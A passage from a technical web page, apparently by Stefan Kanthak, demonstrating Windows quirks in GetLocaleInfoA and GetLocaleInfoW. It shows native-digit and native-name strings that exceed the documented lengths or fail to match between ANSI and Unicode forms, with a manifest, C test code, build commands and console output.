,
U+0663
,
U+0664
,
U+0665
,
U+0666
,
U+0667
,
U+0668
and
U+0669
for
LOCALE_SNATIVEDIGITS
with most Arabic
Locale Identifiers
0x000???01
alias
MAKELCID(MAKELANGID(LANG_ARABIC, SUBLANG_ARABIC_*), SORT_*)
as well as 0x00000463
alias
MAKELCID(MAKELANGID(LANG_PASHTO, SUBLANG_PASHTO_AFGHANISTAN), SORT_*)
,
0x0000048C
alias
MAKELCID(MAKELANGID(LANG_DARI, SUBLANG_DARI_AFGHANISTAN), SORT_*)
and the
Pseudo-Locale
0x000009FF
, the
GetLocaleInfoA()
function but yields the
ANSI
ASCII
digits 0123456789
!
Oops: neither the simplified Chinese numerals
〇一二三四五六七八九
nor the traditional Chinese numerals
零一二三四五六七八九
are returned for LOCALE_SNATIVEDIGITS
with the Chinese
Locale Identifiers
0x000???04
alias
MAKELCID(MAKELANGID(LANG_CHINESE, SUBLANG_CHINESE_*), SORT_*)
.
Note: the Extended Arabic-Indic numerals ۰۱۲۳۴۵۶۷۸۹, the Bengali numerals ০১২৩৪৫৬৭৮৯, the Devanagari numerals ०१२३४५६७८९, the Guarati numerals ૦૧૨૩૪૫૬૭૮૯, the Gurmukhi numerals ੦੧੨੩੪੫੬੭੮੯, the Kannada numerals ೦೧೨೩೪೫೬೭೮೯, the Khmer numerals ០១២៣៤៥៦៧៨៩, the Lao numerals ໐໑໒໓໔໕໖໗໘໙, the Malayalam numerals ൦൧൨൩൪൫൬൭൮൯, the Oriya numerals ୦୧୨୩୪୫୬୭୮୯, the Tamil numerals ௦௧௨௩௪௫௬௭௮௯, the Telugu numerals ౦౧౨౩౪౫౬౭౮౯ and the Thai numerals ๐๑๒๓๔๕๖๗๘๙ are supported, but neither the Tibetan numerals ༠༡༢༣༤༥༦༧༨༩ nor the Mongolian numerals ᠐᠑᠒᠓᠔᠕᠖᠗᠘᠙.
Note: the output of substitution characters
?
is expected normal behaviour!
Create the text file quirk35.xml
with the following
content next to the console application quirk35.exe
built in step 2.:
<?xml version='1.0' encoding='UTF-8' standalone='yes' ?>
<!-- Copyright (C) 2004-2024, Stefan Kanthak -->
<assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1'>
<assemblyIdentity name='Quirk35' processorArchitecture='*' type='win32' version='0.8.1.5' />
<application xmlns='urn:schemas-microsoft-com:asm.v3'>
<windowsSettings>
<activeCodePage xmlns='http://schemas.microsoft.com/SMI/2019/WindowsSettings'>UTF-8</activeCodePage>
</windowsSettings>
</application>
<compatibility xmlns='urn:schemas-microsoft-com:compatibility.v1'>
<application>
<supportedOS Id='{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}' />
</application>
</compatibility>
<description>Quirk35 Console Application</description>
</assembly>
Note: the double use of an
XML element
named application
is (at least) clumsy and error-prone!
Embed the
Application Manifest
quirk35.xml
created in step 4. in the console
application quirk35.exe
built in step 2.:
MT.EXE /CANONICALIZE /MANIFEST quirk35.xml /OUTPUTRESOURCE:quirk35.exeNote: the Manifest Tool
MT.exe
is shipped with the Windows Software Development Kit.
Microsoft (R) Manifest Tool version 6.1.7716.0 Copyright (c) Microsoft Corporation 2009. All rights reserved.
Execute the console application quirk35.exe
modified in
step 5. to demonstrate the (mis)behaviour:
VER .\quirk35.exe
Microsoft Windows [Version 10.0.22621.1105] Character count 21 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000463 exceeds 11! Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000861 exceeds 11! Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000461 exceeds 11! Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000860 exceeds 11! Character count 21 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000460 exceeds 11! Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000457 exceeds 11! Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000455 exceeds 11! Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000454 exceeds 11! Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000453 exceeds 11! Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000C51 exceeds 11! Character count 103 returned for LOCALE_SNATIVECOUNTRYNAME of LCID 0x00000451 exceeds 80! Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000451 exceeds 11! Character count 98 returned for LOCALE_SNATIVECOUNTRYNAME of LCID 0x00007C50 exceeds 80! Character count 98 returned for LOCALE_SNATIVECOUNTRYNAME of LCID 0x00000850 exceeds 80! Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x0000044F exceeds 11! Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x0000044E exceeds 11! Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x0000044D exceeds 11! Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x0000044C exceeds 11! Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x0000044B exceeds 11! Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x0000044A exceeds 11! Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000849 exceeds 11! Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000449 exceeds 11! Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000448 exceeds 11! Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000447 exceeds 11! Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000446 exceeds 11! Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000845 exceeds 11! Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000445 exceeds 11! Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000439 exceeds 11!OUCH: the character count returned from the
GetLocaleInfoA()
function exceeds the maximum character counts specified in the
documentation for the
LOCALE_SNATIVE*
constants for multiple
Locales!
OOPS: contrary to the explicit statement that
LOCALE_SNATIVEDIGITS
yields the Arabic numerals
٠١٢٣٤٥٦٧٨٩
alias U+0660
,
U+0661
,
U+0662
,
U+0663
,
U+0664
,
U+0665
,
U+0666
,
U+0667
,
U+0668
and
U+0669
with Arabic
Locale Identifiers
0x000???01
, for example 0x00000401
alias
MAKELCID(MAKELANGID(LANG_ARABIC, SUBLANG_ARABIC_SAUDI_ARABIA), SORT_DEFAULT)
,
the
GetLocaleInfoA()
function does not return their character count 21 – it but
yields the
ANSI
ASCII
digits 0123456789
instead!
LCType
parameter which yield native text,
in particular
LOCALE_S1159
,
LOCALE_S2359
,
LOCALE_SABBREVDAYNAME*
,
LOCALE_SABBREVMONTHNAME*
,
LOCALE_SCURRENCY
,
LOCALE_SDAYNAME*
,
LOCALE_SLONGDATE
and
LOCALE_SMONTHNAME*
,
is left as an exercise to the reader.
Note: an evaluation of the (mis)behaviour when the
system’s (global)
ANSI
and OEM
code pages are set to 65001 alias CP_UTF8
is also left
as an exercise to the reader.
Note: a repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.
Aform of the
GetLocaleInfo()
function Wform, i.e. after conversion from ANSI to Unicode (or vice versa) using the (
legacy) Code Page of the respective Locales and Languages Locale, the text strings should compare as equal.
Aform
Wform!
Create the text file quirk36.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2024, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#define ERROR_INVALID_LOCALE ERROR_INVALID_PARAMETER
#define LANG_MAX 0x01FF
#define SUBLANG_MAX 0x3F
#ifndef _WIN64
#pragma intrinsic(memcmp)
#else
#pragma function(memcmp)
int memcmp(char const *left, char const *right, size_t count)
{
size_t index;
int delta;
for (index = 0; index < count; index++)
if (delta = left[index] - right[index])
return delta;
return 0;
}
#endif
int wmemcmp(wchar_t const *left, wchar_t const *right, size_t count)
{
size_t index;
int delta;
for (index = 0; index < count; index++)
if (delta = left[index] - right[index])
return delta;
return 0;
}
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
DWORD dwError = ERROR_SUCCESS;
DWORD dwPrimary;
DWORD dwSubLang;
LCID lcLocale;
UINT uiCodePage;
CHAR szANSI[321];
UINT uiANSI;
WCHAR szWide[123];
UINT uiWide;
CHAR szMulti[321];
UINT uiMulti;
WCHAR szUnicode[123];
UINT uiUnicode;
HANDLE hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
if ((GetACP() != CP_UTF8)
|| (GetOEMCP() != CP_UTF8))
for (dwPrimary = LANG_MAX; dwPrimary > LANG_NEUTRAL; dwPrimary--)
for (dwSubLang = SUBLANG_MAX; dwSubLang > SUBLANG_NEUTRAL; dwSubLang--)
{
lcLocale = MAKELCID(MAKELANGID(dwPrimary, dwSubLang), SORT_DEFAULT);
if (GetLocaleInfoA(lcLocale,
LOCALE_IDEFAULTANSICODEPAGE | LOCALE_RETURN_NUMBER,
(LPSTR) &uiCodePage,
sizeof(uiCodePage)) != sizeof(uiCodePage))
{
dwError = GetLastError();
if (dwError != ERROR_INVALID_LOCALE)
PrintConsole(hConsole,
L"GetLocaleInfoA() returned error %lu for LOCALE_IDEFAULTANSICODEPAGE of LCID 0x%08lX\n",
dwError, lcLocale);
}
else
{
uiANSI = GetLocaleInfoA(lcLocale,
LOCALE_SNATIVEDIGITS,
szANSI,
sizeof(szANSI));
if (uiANSI == 0)
PrintConsole(hConsole,
L"GetLocaleInfoA() returned error %lu for LOCALE_SNATIVEDIGITS of LCID 0x%08lX\n",
dwError = GetLastError(), lcLocale);
else
{
uiWide = GetLocaleInfoW(lcLocale,
LOCALE_SNATIVEDIGITS,
szWide,
sizeof(szWide) / sizeof(*szWide));
if (uiWide == 0)
PrintConsole(hConsole,
L"GetLocaleInfoW() returned error %lu for LOCALE_SNATIVEDIGITS of LCID 0x%08lX\n",
dwError = GetLastError(), lcLocale);
else
{
uiMulti = WideCharToMultiByte(uiCodePage,
WC_COMPOSITECHECK | WC_DEFAULTCHAR | WC_NO_BEST_FIT_CHARS,
szWide,
uiWide,
szMulti,
sizeof(szMulti),
(LPCCH) NULL,
(LPBOOL) NULL);
if (uiMulti == 0)
PrintConsole(hConsole,
L"WideCharToMultiByte() returned error %lu for LOCALE_SNATIVEDIGITS of LCID 0x%08lX\n",
dwError = GetLastError(), lcLocale);
uiUnicode = MultiByteToWideChar(uiCodePage,
MB_ERR_INVALID_CHARS | MB_PRECOMPOSED,
szANSI,
uiANSI,
szUnicode,
sizeof(szUnicode) / sizeof(*szUnicode));
if (uiUnicode == 0)
PrintConsole(hConsole,
L"MultiByteToWideChar() returned error %lu for LOCALE_SNATIVEDIGITS of LCID 0x%08lX\n",
dwError = GetLastError(), lcLocale);
else
if ((uiMulti != 0)
&& (memcmp(szMulti, szANSI, uiANSI) != 0)
|| (wmemcmp(szUnicode, szWide, uiWide) != 0))
PrintConsole(hConsole,
L"0x%08lX DIGITS\tGetLocaleInfoW = %u:\t%ls\n"
L"\t\t\tUTF16LE » ANSI = %u:\t%hs\n"
L"\t\t\tGetLocaleInfoA = %u:\t%hs\n"
L"\t\t\tANSI » UTF16LE = %u:\t%ls\n",
lcLocale, uiWide, szWide, uiMulti, szMulti, uiANSI, szANSI, uiUnicode, szUnicode);
}
}
uiANSI = GetLocaleInfoA(lcLocale,
LOCALE_SNATIVECTRYNAME,
szANSI,
sizeof(szANSI));
if (uiANSI == 0)
PrintConsole(hConsole,
L"GetLocaleInfoA() returned error %lu for LOCALE_SNATIVECTRYNAME of LCID 0x%08lX\n",
dwError = GetLastError(), lcLocale);
else
{
uiWide = GetLocaleInfoW(lcLocale,
LOCALE_SNATIVECTRYNAME,
szWide,
sizeof(szWide) / sizeof(*szWide));
if (uiWide == 0)
PrintConsole(hConsole,
L"GetLocaleInfoW() returned error %lu for LOCALE_SNATIVECTRYNAME of LCID 0x%08lX\n",
dwError = GetLastError(), lcLocale);
else
{
uiMulti = WideCharToMultiByte(uiCodePage,
WC_COMPOSITECHECK | WC_DEFAULTCHAR | WC_NO_BEST_FIT_CHARS,
szWide,
uiWide,
szMulti,
sizeof(szMulti),
(LPCCH) NULL,
(LPBOOL) NULL);
if (uiMulti == 0)
PrintConsole(hConsole,
L"WideCharToMultiByte() returned error %lu for LOCALE_SNATIVECTRYNAME of LCID 0x%08lX\n",
dwError = GetLastError(), lcLocale);
uiUnicode = MultiByteToWideChar(uiCodePage,
MB_ERR_INVALID_CHARS | MB_PRECOMPOSED,
szANSI,
uiANSI,
szUnicode,
sizeof(szUnicode) / sizeof(*szUnicode));
if (uiUnicode == 0)
PrintConsole(hConsole,
L"MultiByteToWideChar() returned error %lu for LOCALE_SNATIVECTRYNAME of LCID 0x%08lX\n",
dwError = GetLastError(), lcLocale);
else
if ((uiMulti != 0)
&& (memcmp(szMulti, szANSI, uiANSI) != 0)
|| (wmemcmp(szUnicode, szWide, uiWide) != 0))
PrintConsole(hConsole,
L"0x%08lX COUNTRY\tGetLocaleInfoW = %u:\t%ls\n"
L"\t\t\tUTF16LE » ANSI = %u:\t%hs\n"
L"\t\t\tGetLocaleInfoA = %u:\t%hs\n"
L"\t\t\tANSI » UTF16LE = %u:\t%ls\n",
lcLocale, uiWide, szWide, uiMulti, szMulti, uiANSI, szANSI, uiUnicode, szUnicode);
}
}
uiANSI = GetLocaleInfoA(lcLocale,
LOCALE_SNATIVELANGNAME,
szANSI,
sizeof(szANSI));
if (uiANSI == 0)
PrintConsole(hConsole,
L"GetLocaleInfoA() returned error %lu for LOCALE_SNATIVELANGNAME of LCID 0x%08lX\n",
dwError = GetLastError(), lcLocale);
else
{
uiWide = GetLocaleInfoW(lcLocale,
LOCALE_SNATIVELANGNAME,
szWide,
sizeof(szWide) / sizeof(*szWide));
if (uiWide == 0)
PrintConsole(hConsole,
L"GetLocaleInfoW() returned error %lu for LOCALE_SNATIVELANGNAME of LCID 0x%08lX\n",
dwError = GetLastError(), lcLocale);
else
{
uiMulti = WideCharToMultiByte(uiCodePage,
WC_COMPOSITECHECK | WC_DEFAULTCHAR | WC_NO_BEST_FIT_CHARS,
szWide,
uiWide,
szMulti,
sizeof(szMulti),
(LPCCH) NULL,
(LPBOOL) NULL);
if (uiMulti == 0)
PrintConsole(hConsole,
L"WideCharToMultiByte() returned error %lu for LOCALE_SNATIVELANGNAME of LCID 0x%08lX\n",
dwError = GetLastError(), lcLocale);
uiUnicode = MultiByteToWideChar(uiCodePage,
MB_ERR_INVALID_CHARS | MB_PRECOMPOSED,
szANSI,
uiANSI,
szUnicode,
sizeof(szUnicode) / sizeof(*szUnicode));
if (uiUnicode == 0)
PrintConsole(hConsole,
L"MultiByteToWideChar() returned error %lu for LOCALE_SNATIVELANGNAME of LCID 0x%08lX\n",
dwError = GetLastError(), lcLocale);
else
if ((uiMulti != 0)
&& (memcmp(szMulti, szANSI, uiANSI) != 0)
|| (wmemcmp(szUnicode, szWide, uiWide) != 0))
PrintConsole(hConsole,
L"0x%08lX LANGUAGE\tGetLocaleInfoW = %u:\t%ls\n"
L"\t\t\tUTF16LE » ANSI = %u:\t%hs\n"
L"\t\t\tGetLocaleInfoA = %u:\t%hs\n"
L"\t\t\tANSI » UTF16LE = %u:\t%ls\n",
lcLocale, uiWide, szWide, uiMulti, szMulti, uiANSI, szANSI, uiUnicode, szUnicode);
}
}
}
}
else
for (dwPrimary = LANG_MAX; dwPrimary > LANG_NEUTRAL; dwPrimary--)
for (dwSubLang = SUBLANG_MAX; dwSubLang > SUBLANG_NEUTRAL; dwSubLang--)
{
lcLocale = MAKELCID(MAKELANGID(dwPrimary, dwSubLang), SORT_DEFAULT);
uiWide = GetLocaleInfoW(lcLocale,
LOCALE_SNATIVEDIGITS,
szWide,
sizeof(szWide) / sizeof(*szWide));
if (uiWide == 0)
{
dwError = GetLastError();
if (dwError != ERROR_INVALID_LOCALE)
PrintConsole(hConsole,
L"GetLocaleInfoW() returned error %lu for LOCALE_SNATIVEDIGITS of LCID 0x%08lX\n",
dwError, lcLocale);
}
else
{
uiANSI = GetLocaleInfoA(lcLocale,
LOCALE_SNATIVEDIGITS,
szANSI,
sizeof(szANSI));
if (uiANSI == 0)
PrintConsole(hConsole,
L"GetLocaleInfoA() returned error %lu for LOCALE_SNATIVEDIGITS of LCID 0x%08lX\n",
dwError = GetLastError(), lcLocale);
else
{
uiMulti = WideCharToMultiByte(CP_UTF8,
WC_ERR_INVALID_CHARS,
szWide,
uiWide,
szMulti,
sizeof(szMulti),
(LPCCH) NULL,
(LPBOOL) NULL);
if (uiMulti == 0)
PrintConsole(hConsole,
L"WideCharToMultiByte() returned error %lu for LOCALE_SNATIVEDIGITS of LCID 0x%08lX\n",
dwError = GetLastError(), lcLocale);
uiUnicode = MultiByteToWideChar(CP_UTF8,
MB_ERR_INVALID_CHARS,
szANSI,
uiANSI,
szUnicode,
sizeof(szUnicode) / sizeof(*szUnicode));
if (uiUnicode == 0)
PrintConsole(hConsole,
L"MultiByteToWideChar() returned error %lu for LOCALE_SNATIVEDIGITS of LCID 0x%08lX\n",
dwError = GetLastError(), lcLocale);
else
if ((uiMulti != 0)
&& (memcmp(szMulti, szANSI, uiANSI) != 0)
|| (wmemcmp(szUnicode, szWide, uiWide) != 0))
PrintConsole(hConsole,
L"0x%08lX DIGITS\tGetLocaleInfoW = %u:\t%ls\n"
L"\t\t\tUTF16LE » UTF8 = %u:\t%hs\n"
L"\t\t\tGetLocaleInfoA = %u:\t%hs\n"
L"\t\t\tUTF8 » UTF16LE = %u:\t%ls\n",
lcLocale, uiWide, szWide, uiMulti, szMulti, uiANSI, szANSI, uiUnicode, szUnicode);
}
}
uiWide = GetLocaleInfoW(lcLocale,
LOCALE_SNATIVECTRYNAME,
szWide,
sizeof(szWide) / sizeof(*szWide));
if (uiWide == 0)
{
dwError = GetLastError();
if (dwError != ERROR_INVALID_LOCALE)
PrintConsole(hConsole,
L"GetLocaleInfoW() returned error %lu for LOCALE_SNATIVECTRYNAME of LCID 0x%08lX\n",
dwError, lcLocale);
}
else
{
uiANSI = GetLocaleInfoA(lcLocale,
LOCALE_SNATIVECTRYNAME,
szANSI,
sizeof(szANSI));
if (uiANSI == 0)
PrintConsole(hConsole,
L"GetLocaleInfoA() returned error %lu for LOCALE_SNATIVECTRYNAME of LCID 0x%08lX\n",
dwError = GetLastError(), lcLocale);
else
{
uiMulti = WideCharToMultiByte(CP_UTF8,
WC_ERR_INVALID_CHARS,
szWide,
uiWide,
szMulti,
sizeof(szMulti),
(LPCCH) NULL,
(LPBOOL) NULL);
if (uiMulti == 0)
PrintConsole(hConsole,
L"WideCharToMultiByte() returned error %lu for LOCALE_SNATIVECTRYNAME of LCID 0x%08lX\n",
dwError = GetLastError(), lcLocale);
uiUnicode = MultiByteToWideChar(CP_UTF8,
MB_ERR_INVALID_CHARS,
szANSI,
uiANSI,
szUnicode,
sizeof(szUnicode) / sizeof(*szUnicode));
if (uiUnicode == 0)
PrintConsole(hConsole,
L"MultiByteToWideChar() returned error %lu for LOCALE_SNATIVECTRYNAME of LCID 0x%08lX\n",
dwError = GetLastError(), lcLocale);
else
if ((uiMulti != 0)
&& (memcmp(szMulti, szANSI, uiANSI) != 0)
|| (wmemcmp(szUnicode, szWide, uiWide) != 0))
PrintConsole(hConsole,
L"0x%08lX COUNTRY\tGetLocaleInfoW = %u:\t%ls\n"
L"\t\t\tUTF16LE » UTF8 = %u:\t%hs\n"
L"\t\t\tGetLocaleInfoA = %u:\t%hs\n"
L"\t\t\tUTF8 » UTF16LE = %u:\t%ls\n",
lcLocale, uiWide, szWide, uiMulti, szMulti, uiANSI, szANSI, uiUnicode, szUnicode);
}
}
uiWide = GetLocaleInfoW(lcLocale,
LOCALE_SNATIVELANGNAME,
szWide,
sizeof(szWide) / sizeof(*szWide));
if (uiWide == 0)
{
dwError = GetLastError();
if (dwError != ERROR_INVALID_LOCALE)
PrintConsole(hConsole,
L"GetLocaleInfoW() returned error %lu for LOCALE_SNATIVELANGNAME of LCID 0x%08lX\n",
dwError, lcLocale);
}
else
{
uiANSI = GetLocaleInfoA(lcLocale,
LOCALE_SNATIVELANGNAME,
szANSI,
sizeof(szANSI));
if (uiANSI == 0)
PrintConsole(hConsole,
L"GetLocaleInfoA() returned error %lu for LOCALE_SNATIVELANGNAME of LCID 0x%08lX\n",
dwError = GetLastError(), lcLocale);
else
{
uiMulti = WideCharToMultiByte(CP_UTF8,
WC_ERR_INVALID_CHARS,
szWide,
uiWide,
szMulti,
sizeof(szMulti),
(LPCCH) NULL,
(LPBOOL) NULL);
if (uiMulti == 0)
PrintConsole(hConsole,
L"WideCharToMultiByte() returned error %lu for LOCALE_SNATIVELANGNAME of LCID 0x%08lX\n",
dwError = GetLastError(), lcLocale);
uiUnicode = MultiByteToWideChar(CP_UTF8,
MB_ERR_INVALID_CHARS,
szANSI,
uiANSI,
szUnicode,
sizeof(szUnicode) / sizeof(*szUnicode));
if (uiUnicode == 0)
PrintConsole(hConsole,
L"MultiByteToWideChar() returned error %lu for LOCALE_SNATIVELANGNAME of LCID 0x%08lX\n",
dwError = GetLastError(), lcLocale);
else
if ((uiMulti != 0)
&& (memcmp(szMulti, szANSI, uiANSI) != 0)
|| (wmemcmp(szUnicode, szWide, uiWide) != 0))
PrintConsole(hConsole,
L"0x%08lX LANGUAGE\tGetLocaleInfoW = %u:\t%ls\n"
L"\t\t\tUTF16LE » UTF8 = %u:\t%hs\n"
L"\t\t\tGetLocaleInfoA = %u:\t%hs\n"
L"\t\t\tUTF8 » UTF16LE = %u:\t%ls\n",
lcLocale, uiWide, szWide, uiMulti, szMulti, uiANSI, szANSI, uiUnicode, szUnicode);
}
}
}
if (!CloseHandle(hConsole))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
}
ExitProcess(dwError);
}
Code Pages
Character Sets
Unicode and Character Sets
Unicode and Character Set Functions
Unicode and Character Set Functions
MultiByteToWideChar()
MultiByteToWideChar()
WideCharToMultiByte()
WideCharToMultiByte()
Note: to avoid failures of the
GetLocaleInfoA()
function with Win32 error code 122 alias
ERROR_INSUFFICIENT_BUFFER
,
the size of its buffers are well above the maximum number of
characters specified in the documentation for
LOCALE_SNATIVE*
which has already been proven wrong in the previous
section
Quirk № 35!
Build the console application quirk36.exe
from the
source file quirk36.c
created in step 1.:
SET CL=/GAFy /Oisy /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE quirk36.c kernel32.lib user32.libFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.
Note: quirk36.exe
is a pure
Win32 console application and builds without the
MSVCRT
libraries.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk36.c quirk36.c(37) : warning C4706: assignment within conditional expression Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk36.exe quirk36.obj kernel32.lib user32.lib
Execute the console application quirk36.exe
built in
step 2. to demonstrate the (mis)behaviour:
VER .\quirk36.exe
Microsoft Windows [Version 6.1.7601] 0x000009FF DIGITS GetLocaleInfoW = 11: ٠١٢٣٤٥٦٧٨٩ UTF16LE » ANSI = 11: ?????????? GetLocaleInfoA = 11: 0123456789 ANSI » UTF16LE = 11: 0123456789 0x000009FF COUNTRY GetLocaleInfoW = 22: [Ρšеϋďŏ Мīґґθřėď !!!] UTF16LE » ANSI = 22: [?????? ???????? !!!] GetLocaleInfoA = 22: [?????? ???????? !!!] ANSI » UTF16LE = 22: [?????? ???????? !!!] 0x000009FF LANGUAGE GetLocaleInfoW = 22: [Рѕёůđó Ľαʼnġџåģе !!!] UTF16LE » ANSI = 22: [?????? ???????? !!!] GetLocaleInfoA = 22: [?????? ???????? !!!] ANSI » UTF16LE = 22: [?????? ???????? !!!] 0x000005FE COUNTRY GetLocaleInfoW = 17: [Ρ§зŭďό Α§ΐд !!] UTF16LE » ANSI = 23: [¯x??? ?t !!] GetLocaleInfoA = 23: [¯x??? ?t !!] ANSI » UTF16LE = 17: [Ρ§з??? Α§?д !!] 0x000005FE LANGUAGE GetLocaleInfoW = 22: [Þѕєΰδō Łªиģųāģз !!!] UTF16LE » ANSI = 25: [????Â? ??y????x !!!] GetLocaleInfoA = 25: [T???Â? ?ay????x !!!] ANSI » UTF16LE = 22: [T???δ? ?aи????з !!!] 0x00000501 COUNTRY GetLocaleInfoW = 11: [Рšěüđõ !] UTF16LE » ANSI = 11: [?ìüð? !] GetLocaleInfoA = 11: [?ìüðo !] ANSI » UTF16LE = 11: [?šěüđo !] 0x00000501 LANGUAGE GetLocaleInfoW = 22: [Þšēūďθ Ļдηğμåģέ !!!] UTF16LE » ANSI = 22: [???ï? ???????? !!!] GetLocaleInfoA = 22: [?euï? L??gµag? !!!] ANSI » UTF16LE = 22: [?šeuď? L??gµag? !!!] 0x0000048C DIGITS GetLocaleInfoW = 11: ٠١٢٣٤٥٦٧٨٩ UTF16LE » ANSI = 11: ?????????? GetLocaleInfoA = 11: 0123456789 ANSI » UTF16LE = 11: 0123456789 0x00000481 LANGUAGE GetLocaleInfoW = 10: Reo Māori UTF16LE » ANSI = 10: Reo M?ori GetLocaleInfoA = 10: Reo Maori ANSI » UTF16LE = 10: Reo Maori 0x00000480 COUNTRY GetLocaleInfoW = 24: جۇڭخۇا خەلق جۇمھۇرىيىتى UTF16LE » ANSI = 24: Ì??Î?Ç Î?áÞ Ì?ãª?ÑìíìÊì GetLocaleInfoA = 24: Ì??Î?Ç Î?áÞ Ì?ãª?ÑìíìÊì ANSI » UTF16LE = 24: ج??خ?ا خ?لق ج?مھ?رىيىتى 0x00000480 LANGUAGE GetLocaleInfoW = 9: ئۇيغۇرچە UTF16LE » ANSI = 9: Æ?íÛ?Ñ? GetLocaleInfoA = 9: Æ?íÛ?Ñ? ANSI » UTF16LE = 9: ئ?يغ?رچ? 0x00000478 COUNTRY GetLocaleInfoW = 8: ꍏꉸꏓꂱꇭꉼꇩ UTF16LE » ANSI = 8: ??????? GetLocaleInfoA = 8: ??????? ANSI » UTF16LE = 8: ??????? 0x00000478 LANGUAGE GetLocaleInfoW = 5: ꆈꌠꁱꂷ UTF16LE » ANSI = 5: ???? GetLocaleInfoA = 5: ???? ANSI » UTF16LE = 5: ???? 0x0000046D LANGUAGE GetLocaleInfoW = 8: Башҡорт UTF16LE » ANSI = 8: Áàø?îðò GetLocaleInfoA = 8: Áàø?îðò ANSI » UTF16LE = 8: Баш?орт 0x00000465 COUNTRY GetLocaleInfoW = 14: ދިވެހި ރާއްޖެ UTF16LE » ANSI = 8: ??? ??? GetLocaleInfoA = 14: ?????? ?????? ANSI » UTF16LE = 14: ?????? ?????? 0x00000465 LANGUAGE GetLocaleInfoW = 11: ދިވެހިބަސް UTF16LE » ANSI = 6: ????? GetLocaleInfoA = 11: ?????????? ANSI » UTF16LE = 11: ?????????? 0x00000463 DIGITS GetLocaleInfoW = 11: ٠١٢٣٤٥٦٧٨٩ UTF16LE » ANSI = 11: ?????????? GetLocaleInfoA = 11: ?????????? ANSI » UTF16LE = 11: ?????????? 0x00000463 COUNTRY GetLocaleInfoW = 10: افغانستان UTF16LE » ANSI = 10: ????????? GetLocaleInfoA = 10: ????????? ANSI » UTF16LE = 10: ????????? 0x00000463 LANGUAGE GetLocaleInfoW = 5: پښتو UTF16LE » ANSI = 5: ???? GetLocaleInfoA = 5: ???? ANSI » UTF16LE = 5: ???? 0x00000461 DIGITS GetLocaleInfoW = 11: ०१२३४५६७८९ UTF16LE » ANSI = 11: ?????????? GetLocaleInfoA = 11: ?????????? ANSI » UTF16LE = 11: ?????????? 0x00000461 COUNTRY GetLocaleInfoW = 6: नेपाल UTF16LE » ANSI = 5: ???? GetLocaleInfoA = 6: ????? ANSI » UTF16LE = 6: ????? 0x00000461 LANGUAGE GetLocaleInfoW = 7: नेपाली UTF16LE » ANSI = 6: ????? GetLocaleInfoA = 7: ?????? ANSI » UTF16LE = 7: ?????? 0x0000045E COUNTRY GetLocaleInfoW = 6: ኢትዮጵያ UTF16LE » ANSI = 6: ????? GetLocaleInfoA = 6: ????? ANSI » UTF16LE = 6: ????? 0x0000045E LANGUAGE GetLocaleInfoW = 5: አማርኛ UTF16LE » ANSI = 5: ???? GetLocaleInfoA = 5: ???? ANSI » UTF16LE = 5: ???? 0x0000785D COUNTRY GetLocaleInfoW = 4: ᑲᓇᑕ UTF16LE » ANSI = 4: ??? GetLocaleInfoA = 4: ??? ANSI » UTF16LE = 4: ??? 0x0000785D LANGUAGE GetLocaleInfoW = 7: ᐃᓄᒃᑎᑐᑦ UTF16LE » ANSI = 7: ?????? GetLocaleInfoA = 7: ?????? ANSI » UTF16LE = 7: ?????? 0x0000045D COUNTRY GetLocaleInfoW = 4: ᑲᓇᑕ UTF16LE » ANSI = 4: ??? GetLocaleInfoA = 4: ??? ANSI » UTF16LE = 4: ??? 